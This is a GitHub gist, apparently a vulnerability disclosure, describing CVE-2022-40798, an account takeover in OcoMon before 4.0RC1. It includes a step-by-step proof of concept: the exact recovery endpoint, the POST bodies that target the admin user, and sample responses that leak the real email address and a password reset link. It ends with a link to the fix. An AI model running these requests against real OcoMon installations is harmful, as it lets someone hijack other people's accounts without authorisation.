Skip to content

Instantly share code, notes, and snippets.

@ninj4c0d3r
Last active October 19, 2022 15:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ninj4c0d3r/89bdd6702bf00d768302f5e0e5bb8adc to your computer and use it in GitHub Desktop.
Save ninj4c0d3r/89bdd6702bf00d768302f5e0e5bb8adc to your computer and use it in GitHub Desktop.
CVE-2022-40798 - OcoMon Account Takeover

OcoMon < 4.0RC1 - Account Takeover [CVE-2022-40798]

Description

Through password recovery its possible to obtain a token to reset password of any user.

Bug - 1

The vulnerability occurs because the application validates the email in database and returns the real email to the user.

image

Bug - 2

If username and email are valid, the application returns to user the link to reset the password instead of sending it by email.

image

PoC

  • Access "Esqueci minha senha:

image

  • Enter a valid username (example: admin) and a fake email.
  • The user's real email will be exposed in the response:

image

  • Send the request again replacing the fake email to user original email:

image

  • In the request response have the link to change the user's password, just access and change:

image

Examples:

URL: https://ocomon.site/includes/common/require_access_recovery_process.php

DATA: csrf=qgBhHao%2BUlza4vm2VFTQZYs7V8A%3D&csrf_session_key=csrf_token&login_name=admin&email=anything@email.com&action=require_recovery

RESPONSE: "action":"require_recovery","field_id":"email","login_name":"admin","email":"anything@email.com","user_id":"1","name":"Administrador do Sistema","mail_to":"realemail@email.com"}
URL: https://ocomon.site/includes/common/require_access_recovery_process.php
 
DATA: csrf=qgBhHao%2BUlza4vm2VFTQZYs7V8A%3D&csrf_session_key=csrf_token&login_name=admin&email=realemail@email.com&action=require_recovery
 
RESPONSE: "action":"require_recovery","field_id":"","login_name":"admin","email":"realemail@email.com","user_id":"1","name":"Administrador do Sistema","mail_to":"realemail@email.com","rand":"b39abfbd697e566d178e678462b0b6c1","forget_link":"https:\/\/ocomon.site\/setNewPass.php?code=1|b39abfbd697e566d178e678462b0b6c1"}

FIX

https://ocomonphp.sourceforge.io/downloads/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment